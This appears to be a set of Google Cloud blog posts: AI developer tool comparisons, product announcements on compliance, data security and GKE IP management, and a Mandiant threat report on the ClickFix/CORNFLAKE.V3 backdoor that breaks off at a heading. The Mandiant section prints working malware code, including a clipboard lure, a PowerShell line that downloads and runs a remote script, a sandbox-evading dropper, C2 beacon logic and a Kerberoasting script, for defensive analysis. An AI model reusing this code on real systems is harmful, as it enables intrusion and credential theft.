Tibor Kiss

Do you remember packing for an extended trip twenty years ago? We had to load up a camera, a day planner, a pile of books, a handheld gaming device, a map-stuffed tourist guide, a phone, a CD player, and maybe some cashier’s checks. Now? Just remember your smartphone! 

This is an example of consolidation, but sometimes diversification happens. For example, it wasn’t long ago that your “computer” was simply a desktop PC that was your one device for everything. Now, we have laptops for portable work, tablets for casual digital consumption, smartphones for on-the-go internet, smart TVs for watching every type of content, and a myriad of gaming consoles. 

This dynamic reminds me of the current state of developer tooling. Until recently, it was fairly static — UX design tools for mock-ups, IDEs to write code, build systems to assemble artifacts, systems and shell scripting to get infrastructure and apps deployed. It’s become wildly more diverse and dynamic thanks to generative AI. What we do, and what we use, will never be the same.

So when do I use what? Google alone offers LLM interfaces like the Gemini app and Google AI Studio, IDE extensions like Gemini Code Assist, browser-based dev environments like Firebase Studio, along with agentic services like Jules and the Gemini CLI. It’s easy to feel overwhelmed. Let’s break it down.

This diversification of tools is due, in part, to the new ways AI can assist us in software engineering. 

• We now have delegated, agentic options. Think of outsourcing the work to a third party where you provide detailed instructions, and only have limited interactions until the work is complete. The goal here is to get the work done quickly, and you aren’t focused on growing your own knowledge.

• The next category is supervised, where you have AI acting more like someone who works for you. It’s more interactive, but you’re scaling by providing experience-based intent to an AI agent.

• The final category is collaborative. Here, we’re in a conversational interaction with an AI assistant, going back and forth as we “learn” together.

Key takeaways for each AI developer tool

Jules is best for explicit instructions that can drive unattended batch work—add documentation, improve test coverage, perform surgical code modernizations—against source code in GitHub.com

• No infrastructure or machinery to manage and update

• Iterate with Jules on a plan before sending it off to do work

• Get back a set of changes and a pull request to accept them

• No cost tier along with paid Pro and Ultra tiers

The Gemini CLI offers an open, fast, and flexible interface for working with code and content interactively or through delegation

• Lightweight CLI tool that only requires a local install of Node

• Many extensibility points including built-in tools along with support for MCP

• Built into other tools like Gemini Code Assist and Firebase Studio

• The open source Gemini CLI GitHub Actions are ideal for delegating background work to code repos—issue triage, pull request review—through async or user-initiated triggers

• Comes with generous free usage limits for premier Gemini models. It supports enterprise access through Vertex AI models and also works with your Gemini Code Assist license.

Gemini Code Assist provides a rich IDE extension for conversational or agentic interactions with a codebase

• Plug-in for Visual Studio Code and Jetbrains IDEs

• Offers code completion, test generation, code explanation, and code generation

• Extensibility through custom commands, tools support, and code customization on private codebases. Agent mode is powered by the Gemini CLI and enables more complex interactions

• Free tier along with per-user-per-month pricing for teams

Firebase Studio is the right choice when you want to build professional-grade software without the need to be a professional developer, while working in a Google-managed and browser-based dev environment

• Built-in templates for popular frameworks and languages to start your project

• Let Gemini vibe code your app or dive into the code thanks to the full power of an underlying customizable VM

• Configure the workspace environment using nix 

• No cost during preview, and more environments available for those who sign up for the Google Developer Program

Google AI Studio delivers the best way to interact with Google’s latest models, experiment with prompts, and vibe code lightweight web apps

• Generate media, use the Live API for interactive sessions, and write prompts against Gemini and Gemma models

• Write prompts, use tools, ground with Google Search, and run comparisons

• Get API keys to call Gemini models programmatically

• Generous free tier along with a paid tier offering higher rate limits, more features, and different data handling

Cheatsheet:

• Choose the Gemini app for quick app prototyping

• Choose Google AI Studio for prompt experimentation with specific models and capabilities.

• Choose Gemini Code Assist for AI-assisted software development in your environment, with your preferred toolchain.

• Choose Firebase Studio when you want to come to a fully Google-managed environment to prototype or vibe code beautiful software without needing to be a full-time software developer.

• Choose the Gemini CLI when you’re working with a wide array of generative AI projects and want the speed and portability of an agentic CLI.  And choose the Gemini CLI GitHub Actions when you want to use Google Cloud security and models while triggering interactive or background tasks for GitHub-based projects.

• Choose Jules when you’ve got GitHub-based projects that need changes that can be clearly articulated in a set of instructions.

I haven’t seen software development tools change this much—or such an eager willingness to try anything new—at any time in my career. It’s exciting and confusing. It’s important to see these tools as complementary, and you’ll likely use a mix to accomplish your tasks. At Google, we’re going to continue to focus on giving you the best AI tools to build the best AI apps. Let us know how to make both experiences better!

As organizations increase their focus on security and regulatory compliance, Google Cloud is helping our customers meet these obligations by fostering better collaboration between security and compliance teams, and the wider organization they serve.

To help simplify and enhance how organizations manage security, privacy, and compliance in the cloud, we’re thrilled to announce that Google Cloud Compliance Manager is now available in preview. Integrated into Security Command Center, this new capability provides a unified platform for configuring, monitoring, and auditing security and compliance across your infrastructure, workloads, and data. 

Our AI-powered approach to supporting security and compliance obligations automates monitoring, detection, and reporting, and can help reduce manual effort while improving accuracy.

The bidirectional ability to translate regulatory controls into service level configurations or technical controls, and technical controls into policies, is essential for mitigating IT risks and streamlining operations. The ability to understand and visualize this interrelation between regulations and technical guardrails can help organizations establish a unified perspective on security and compliance risks and their remediation.

Reducing risk with smarter compliance

Many organizations have security and compliance obligations that need to align with government, industry, and enterprise-specific requirements. Compliance Manager allows you to configure these obligations using simple yet customizable constructs, prevent misconfigurations, monitor drifts and generate evidence of conformance within the same product experience. It supports standard security and compliance benchmarks, while allowing for customization at multiple levels. 

Compliance Manager is designed to address these industry needs by unifying the entire security and compliance journey into three phases: configure, monitor, and audit. 

• Configure: You can express and enforce your security, privacy, and compliance intent based on your needs and risk tolerance using Compliance Manager, which provides a comprehensive library of frameworks and cloud controls, addressing global security and compliance regulations across industries and sectors. You can deploy these in preventive, detective, and evidence generation modes at different granularities, including organization, folder, and projects. You can also customize standard frameworks, and create your own to meet specific organization policies and unique needs.

• Monitor: To continuously monitor and generate reports against your intended posture, Compliance Manager provides near real-time visibility into your compliance status, enabling proactive identification and remediation of potential issues. You can view findings and risks, with customizable and downloadable reports.

• Audit: Audit Manager helps you generate evidence of conformance to security, privacy, and compliance that can be used for internal and external audits. It can automate and simplify the audit process, help you assess workloads for compliance, gather required evidence, and provide comprehensive audit reports. The effectiveness of this audit evidence generation has been validated through our partnership with FedRAMP for the FedRAMP 20X initiative.

Core constructs: Frameworks and CloudControls

Compliance Manager introduces Frameworks and CloudControls as two new platform components to express security, privacy, and compliance intent.

• Frameworks are collections of technical controls that can also be mapped to regulatory controls. A framework can represent the following:

• Industry-defined security and compliance standards such as CIS, CSA-CCM, SOC2, ISO 27001, NIST-800-53, FedRAMP-High, PCI-DSS, GDPR.

• Google Cloud-defined security, privacy, and compliance best practices, including for AI security, data security, and cloud security. 

• Customer-defined collection of technical policies and controls representing company or industry best practices.

Compliance Manager comes with a library of Frameworks and Cloud Controls, and we plan to add more as customer needs evolve. You can customize these framework templates or compose your own by selecting from the library Cloud Controls. You can also create custom Cloud Controls either manually or with help from Compliance Manager’s GenAI based control authoring feature, providing quick time to value.

How to get started

Compliance Manager can be accessed directly from the Compliance navigation link, located under Security in Google Cloud Console. Go to the Compliance Overview page to start using it.

We have more updates planned for Compliance Manager as we build out its robust capabilities. We value your input, and would love to incorporate your feedback into our product roadmap. You can contact us through your Google Cloud account team, or send us your feedback at compliance-manager-preview@google.com.

In the age of data democratization and generative AI, the way organizations handle data has changed dramatically. This evolution creates opportunities — and security risks. The challenge for security teams isn’t just about protecting data; it’s about scaling security and compliance to meet this new reality. 

While traditional security controls are vital to risk mitigation, many data security posture management solutions lack the necessary capabilities that today’s organizations require. For example, an organization with AI workloads needs to make sure that sensitive data is not leaking into the training environment; that intellectual property such as models and weights are protected from exfiltration; and that all their models support “compliance explainability.” 

There are four key concerns that organizations should understand for robust data security: where sensitive data resides, how it’s used, what controls can secure it, and the monitoring tools available to provide evidence for compliance. Our new Data Security Posture Management (DSPM) offering, now in preview, provides end-to-end governance for data security, privacy, and compliance. 

DSPM capabilities include differentiating advanced data controls that match security, privacy, and compliance requirements and align with business needs. Available as part of Security Command Center, this Google Cloud-native solution can help reduce tooling complexity, and provides native platform experience.

DSPM starts with a data map that offers a birds-eye view of data across your Google Cloud environment, its sensitivity level, and its default security posture. Discovery can help apply policies to monitor and secure their data, allowing curated controls to be matched with their sensitive data needs. 

With Google Cloud DSPM, security and compliance teams can:

• Discover data: DSPM provides comprehensive visibility into your data estate. It automatically discovers data assets across your Google Cloud environment and uses sensitivity labels from Sensitive Data Protection to help you understand what data you have and where it resides.

• Assess risk: DSPM evaluates your current data security posture against Google Cloud’s recommended best practices, and can help identify potential vulnerabilities and misconfigurations.

• Protect data: DSPM deploys data security frameworks by mapping security and compliance requirements to control policies, and can help you monitor them in near-real time.

• Simplify compliance: DSPM can audit data against relevant compliance frameworks, help you pinpoint gaps, and generate detailed, evidence-backed compliance reports. DSPM can also help assess compliance with HIPAA, GDPR, and PCI DSS.

How advanced DSPM controls help with security and compliance requirements

Security teams can get started by identifying sensitive data in their organization’s Google Cloud environment, and mapping desired security and compliance outcomes to specific data controls. To make this process easier, DSPM offers advanced controls, such as data access governance, flow governance, data protection, and data deletion controls to meet security and compliance outcomes. 

Currently, these controls can be applied in detective mode on data boundaries, including organization, folder, and project. You can also use Google Cloud Sensitive Data Protection (SDP) to scan for specific types of sensitive data.

Data access governance 
Using data access governance control, you can govern access to sensitive data, and restrict access in detective mode, to approved principals. 

For example, an organization that needs governance around customer billing data can create a policy to allow only the fraud detection team to access sensitive customer billing information, and apply that control policy across sensitive data. Once applied, the policy will follow the data and surface any non-compliant access events.

Flow governance 
Using data flow control, you can restrict how data is moved across country boundaries in detective mode, to ensure that sensitive customer data is not moved outside a country boundary. As an example, let’s consider an organization with operations in a specific country that has a compliance requirement to not move customer data outside the country’s geographic boundary. With data flow governance, the organization can create a policy to only allow flow of data within that country, and apply that policy to sensitive data. Once applied, the control will surface any non-compliant read operations from outside the allowed geographic boundary. 

Data protection 
Data protection controls can help manage the encryption key configuration, such as enforcing customer managed encryption keys (CMEK). You can create a policy to enforce CMEK as a policy on the keys protecting sensitive data.

Data deletion 
Using data deletion controls, you can manage the maximum duration that the data will be retained. You can create a policy with an allowed maximum retention period, and apply it to sensitive data.

Help shape the future of data security

We’re inviting security and compliance teams to be among the first to experience the power of Google Cloud DSPM. As part of the DSPM preview, organizations can:

• Activate DSPM and begin evaluating its capabilities for specific business needs. For a detailed guide, please refer to the user guide. 

• Join the Technical Advisory Council and Customer Design Panels to provide valuable feedback that can influence DSPM development.

• Work with Google Cloud experts to optimize their data security strategy and ensure a successful implementation.

For further questions, contact your Google Cloud account team, or or send us your feedback at dspm-pm@google.com.

Managing IP addresses in Kubernetes can be a complex and daunting task — but a crucial one. In Google Kubernetes Engine (GKE), it’s important that you manage IP addresses effectively, given the resource-constrained IPv4 address space. Sub-optimal configurations can lead to:

• IP inefficiency: Poor utilization of the limited IPv4 address space

• Complexity: Significant administrative overhead to plan and allocate IP addresses

• Errors: Increased risk of hitting IP_SPACE_EXHAUSTED errors, which halt cluster scaling and application deployments

To help, we are pleased to announce the public preview of a new feature designed to simplify IP address management (IPAM) and improve IP efficiency in your GKE clusters: GKE auto IPAM.

Simplified and efficient IP management

GKE auto IPAM simplifies IPAM by dynamically allocating and/or de-allocating IP address ranges for nodes and pods as your cluster grows. This eliminates the need for large, potentially wasteful, upfront IP reservations and manual intervention during cluster scaling. 

Benefits of GKE auto IPAM

• Optimize resource allocation and enhance IP efficiency: Start with smaller IP ranges and let auto IPAM seamlessly expand them as needed, helping to ensure efficient utilization of your valuable IPv4 address space.

• Scale with confidence and prevent IP exhaustion: Minimize your chances of running out of IPs. Auto IPAM proactively manages and dynamically allocates / deallocates addresses as your cluster grows, making it easy to scale.

• Reduce administrative overhead: Simplify IPAM management with automated allocation and configuration, freeing up valuable time for your team — no manual intervention required.

• Enable demanding workloads: Support resource-intensive applications that require rapid scaling by ensuring sufficient IP capacity is dynamically available on demand for growth and performance.

Getting started 

This feature is compatible with both new and existing clusters running GKE version 1.33 or greater. Today, you can configure it with either gcloud CLI or API. Terraform and UI support is coming soon.

Updated cluster creation UI/UX

We’ve also overhauled the GKE cluster creation UI to make it simpler and more intuitive. The old interface buried critical IPAM settings deep in the cluster creation flow, making it difficult to discover, configure, and validate crucial network settings. Elevating IPAM and bringing it to the forefront provides a more intuitive and streamlined experience, so that you can easily and confidently define your network topology from the outset, for more robust and error-free cluster deployments.

IP address management made easy

GKE auto IPAM allows you to scale your clusters up and scale your clusters down on-demand, optimizing IP address resource allocation and reducing the administrative overhead of cluster operations. Try it today!

Written by: Marco Galli

Welcome to the Frontline Bulletin Series

Straight from Mandiant Threat Defense, the “Frontline Bulletin” series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.

Introduction

Since June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as ClickFix, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.

While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:

• UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.

• UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.

This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518’s access-as-a-service operation as an entry vector into target environments.

The CORNFLAKE Family

CORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.

CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.

The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.

Initial Lead

Mandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.

Mandiant observed that a PowerShell script was executed via the Run command using the Windows+R shortcut. Evidence of this activity was found in the HKEY_USERSUserSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU registry key, containing the following entry which resulted in the download and execution of the next payload:

Name: a
Value: powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"1

The RunMRU registry key stores the history of commands entered into the Windows Run (shortcut Windows+R) dialog box.

The execution of malicious scripts using the Windows+R shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.

As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:

// An image with the reCAPTCHA logo is displayed on the webpage
<div class="c" id="j">
  <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" 
alt="reCAPTCHA Logo">
  <span>I'm not a robot</span>
</div>

// The malicious script is saved in variable _0xC
var _0xC = "powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"1";

// When the image is clicked, the script is copied to the clipboard
document.getElementById("j").onclick = function(){ 
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");

The PowerShell command copied to clipboard is designed to download and execute a script from the remote server 138.199.161[.]141:8080/$u, where $u indicates the UNIX epoch timestamp of the download.

As a result, the PowerShell process connects to the aforementioned IP address and port with URL path 1742214432 (UNIX epoch timestamp), as shown in the following HTTP GET request:

GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) 
WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.]141:8080
Connection: Keep-Alive

The following PowerShell dropper script, similar to 1742214432, was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:

# Get computer manufacturer for evasion check.
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object 
-ExpandProperty Manufacturer
# Exit if running in QEMU (VM detection).
if ($Manufacturer -eq "QEMU") {
    exit 0;
}

# Get memory info for evasion check.
$TotalMemoryGb = 
(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb = 
(Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB 
$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb 
# Exit if total memory is low or calculated "used" memory is low 
(possible sandbox detection).
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) {
    exit 0
}
# Exit if computer name matches default pattern 
(possible sandbox detection).
if ($env:COMPUTERNAME -match "DESKTOP-S*") {
    exit 0
}

# Pause execution briefly.
sleep 1

# Define download URL (defanged).
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
# Define destination folder (AppData).
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
# Define temporary file path for download.
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")

# Download the Node.js zip file.
iwr -Uri $ZipURL -OutFile $ZipFile

# Try block for file extraction using COM objects.
try {
	$Shell = New-Object -ComObject Shell.Application
	$ZIP = $Shell.NameSpace($ZipFile)
	$Destination = $Shell.NameSpace($DestinationFolder)
	# Copy/extract contents silently.
	$Destination.CopyHere($ZIP.Items(), 20)
}
# Exit on any extraction error.
catch {
	exit 0
}

# Update destination path to the extracted Node.js folder.
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, 
"node-v22.11.0-win-x64")
# Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample).
$BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample>
# Decode the Base64 string.
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
# Convert decoded bytes to a string (the payload code).
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Path to the extracted node.exe.
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")

# Start node.exe to execute the decoded string data as JavaScript, hidden.
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" 
-WindowStyle Hidden

The PowerShell dropper’s execution includes multiple steps:

• Check if it is running inside a virtual machine and, if true, exit

• Download Node.js via HTTPS from the URL hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip, write the file to %TEMP%downloaded.zip and extract its contents to the directory %APPDATA%node-v22.11.0-win-x64

• Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command %APPDATA%node-v22.11.0-win-x64node.exe -e “<base64_decoded_CORNFLAKE.v3>”

The PowerShell dropper’s anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system’s computer name matches the regular expression DESKTOP-S* or the target system’s manufacturer is QEMU.

As a result of the dropper’s execution, a DNS query for the nodejs[.]org domain was made, followed by the download of an archive named downloaded.zip (MD5: e033f9800a5ba44b23b3026cf1c38c72). This archive contained the Node.js runtime environment, including its executable file node.exe, which was then extracted to %APPDATA%node-v22.11.0-win-x64. The Node.js environment allows for the execution of JavaScript code outside of a web browser.

The extracted %APPDATA%node-v22.11.0-win-x64node.exe binary was then launched by Powershell with the -e argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.

Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:

• Host and AD-based reconnaissance

• Persistence via Registry Run key

• Credential harvesting attempts via Kerberoasting

The following process tree was observed during the investigation:

explorer.exe 
     ↳ c:windowssystem32windowspowershellv1.0powershell.exe 
-w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
          ↳ c:users<user>appdataroamingnode-v22.11.0-win-x64node.exe 
-e "{CORNFLAKE.V3}" 
               ↳ c:windowssystem32windowspowershellv1.0powershell.exe 
-c "{Initial check and System Information Collection}"
                    ↳ C:WindowsSystem32ARP.EXE -a
                    ↳ C:WindowsSystem32chcp.com 65001
                    ↳ C:WindowsSystem32systeminfo.exe 
                    ↳ C:WindowsSystem32tasklist.exe /svc
               ↳ c:windowssystem32cmd.exe /d /s /c "wmic process where 
processid=16004 get commandline"
               ↳ C:WindowsSystem32cmd.exe /d /s /c "{Kerberoasting}"
               ↳ c:windowssystem32cmd.exe /d /s /c 
"{Active Directory Reconnaissance}"
               ↳ c:windowssystem32cmd.exe /d /s /c "reg add 
{ChromeUpdater as Persistence}" 

Analysis of CORNFLAKE.V3 

The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.

Initial Check and System Information Collection

if (process.argv[1] !== undefined && process.argv[2] === undefined) {
    const child = spawn(process.argv[0], [process.argv[1], '1'], {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
    });
    child.unref();
    process.exit(0);
}

When the script initially executes, a check verifies the command line arguments of the node.exe process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has 1 as an additional argument, then the initial node.exe exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.

This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.

Following this, the malware attempts to collect system information using the following code:

let cmd = execSync('chcp 65001 > $null 2>&1 ; echo 'version: ' 
+ ver + '' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name 
-match '(?i)SYSTEM') { 'Runas: System' } elseif 
(([Security.Principal.WindowsPrincipal] 
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator)) 
{ 'Runas: Admin' } else { 'Runas: User' } ; systeminfo ; echo 
'=-=-=-=-=-' ; tasklist /svc ; echo '=-=-=-=-=-' ; Get-Service | 
Select-Object -Property Name, DisplayName | Format-List ; 
echo '=-=-=-=-=-' ; Get-PSDrive -PSProvider FileSystem | Format-Table 
-AutoSize ; echo '=-=-=-=-=-' ; arp -a', { encoding: 'utf-8', shell: 
'powershell.exe', windowsHide: true });

commandRet = Buffer.from(cmd, 'utf-8');

sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);

This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using execSync. It gathers the script’s version, user privilege level (System, Admin, User), standard systeminfo output, running tasks/services (tasklist /svc), service details (Get-Service), available drives (Get-PSDrive), and the ARP table (arp -a).

C2 Initialization

After setting some logical constants and the command and control (C2) server IP address, the malware enters the mainloop function. The script contains support for two separate lists, hosts and hostsIP, which are both used in the C2 communication logic. Initially, the mainloop function attempts to connect to a random host in the hosts list, however, if unable to do so, it will attempt to connect to a random IP address in the hostsIP list instead. Once a connection is successfully established, the main function is called.

// Define lists of hostnames and IP addresses for the command 
and control server.
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];

// Variables to manage the connection and retry logic.
let useIp = 0;
let delay = 1;

// Main loop to continuously communicate with the command 
and control server.
async function mainloop() {
    let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
    let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];

    while (true) {
        // Wait for the specified delay.
        await new Promise((resolve) => setTimeout(resolve, delay));

        try {
            // Attempt to communicate with the command and control server.
            if (useIp < 200) {
                await main(toHost, PORT_IP);
                useIp = 0;
            } else {
                await main(toIp, PORT_IP);
                useIp++;
                if (useIp >= 210) useIp = 0;
            }
        } catch (error) {
            // Handle errors during communication.
            console.error('Error with HTTP request:', error.message);
            toHost = hosts[Math.floor(Math.random() * 1000) % 
hosts.length];
            toIp = hostsIp[Math.floor(Math.random() * 1000) % 
hostsIp.length];
            useIp++;
            delay = 1000 * 10;
            continue;
        }

        // Set the delay for the next attempt.
        delay = 1000 * 60 * 5;
    }
}

C2 Communication

This function, named main, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path /init1234, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the enc function.

This request is answered by the C2 with 2 possible responses:

• ooff – the process exits

• atst – the atst function is called, which establishes persistence on the host

If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:

Persistence

The atst function, called by main, attempts to establish persistence on the host by creating a new registry Run key named ChromeUpdater under HKCUSoftwareMicrosoftWindowsCurrentVersionRun.

The malware uses wmic.exe to obtain the command line arguments of the currently running node.exe process. If node.exe was launched with the -e argument, like the malware does initially, the script extracts the argument after -e, which contains the full malicious script. This script is written to the <random_8_chars>.log file in the Node.js installation directory and its path is saved to the path2file variable.

If node.exe was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the path2file variable.

The path2file variable is then set as an argument to node.exe in the newly created ChromeUpdater registry key. This ensures that the malware executes upon user logon.

Executed Payloads

As observed in the main function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.

Active Directory Reconnaissance

The first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.

Domain Joined

• Query Active Directory Computer Count: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.
• Display Detailed User Context: Executes whoami /all to reveal the current user’s Security Identifier (SID), domain and local group memberships, and assigned security privileges.
• Enumerate Domain Trusts: Executes nltest /domain_trusts to list all domains that the current computer’s domain has trust relationships with (both incoming and outgoing).
• List Domain Controllers: Executes nltest /dclist : to find and list the available Domain Controllers (DCs) for the computer’s current domain.
• Query Service Principal Names (SPNs): Executes setspn -T <UserDomain> -Q */* to query for all SPNs registered in the user’s logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=…Users).

Not Domain Joined

• Enumerate Local Groups: Uses Get-LocalGroup to list all security groups defined locally on the machine.
• Enumerate Local Group Members: For each local group found, uses Get-LocalGroupMember to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).

Kerberoasting

The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.

$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New - Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
    $f = $e.GetDirectoryEntry();
    $g = $f.samAccountName;
    if ($g  - ne 'krbtgt')  {
        Start - Sleep  - Seconds (Get - Random  - Minimum 1  
- Maximum 11);
        foreach($h in $f.servicePrincipalName) {
            $i = $null;
            try {
                $i = New - 
Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken  
- ArgumentList $h;
            } catch {}
            if ($i  - ne $null)  {
                $j = $i.GetRequest();
                if ($j)  {
                    $k = [System.BitConverter]::ToString($j) - replace'-';
                    [System.Collections.ArrayList]$l = 
($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201';
                    $l.RemoveAt($l.Count - 1);
                    $m = $l - join'A48201';
                    try {
                        $m = $m.Insert(32, '$');
                        $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
                        Write - Host $n;
                        break;
                    } catch {}}}}}}

PHP Variant

Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.

This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.

The script downloads the PHP package from windows.php[.]net, writes it to disk as php.zip and extracts its contents to the C:Users<User>AppDataRoamingphp directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg file that was also dropped in the same directory and executed with the following command line arguments:

"C:\Users<User>AppDataRoamingphpphp.exe" -d extension=zip -d 
extension_dir=ext C:Users<User>AppDataRoamingphpconfig.cfg 1

To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA% or %LOCALAPPDATA% instead of the fixed ChromeUpdater string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234 path:

POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1  
Host: varying-rentals-calgary-predict.trycloudflare[.]com  
Connection: close  
Content-Length: 39185  
Content-type: application/octet-stream

Much like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:

The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS command. Other notable changes include the change of the DLL and JS payload file extensions into .png and .jpg to evade detection and the addition of the ACTIVE and AUTORUN commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.

These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.

Executed Payloads

Active Directory Reconnaissance

A cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:

Domain Joined

• Total count of computer accounts in AD.

• Domain trust relationships.

• List of all Domain Controllers.

• Members of the “Domain Admins” group.

• User accounts configured with a Service Principal Name (SPN).

• All local groups and their members

• Current User name, SID, local group memberships and security privileges

Not Domain Joined

• All local groups and their members

• Current User name, SID, local group memberships and security privileges

WINDYTWIST.SEA Backdoor

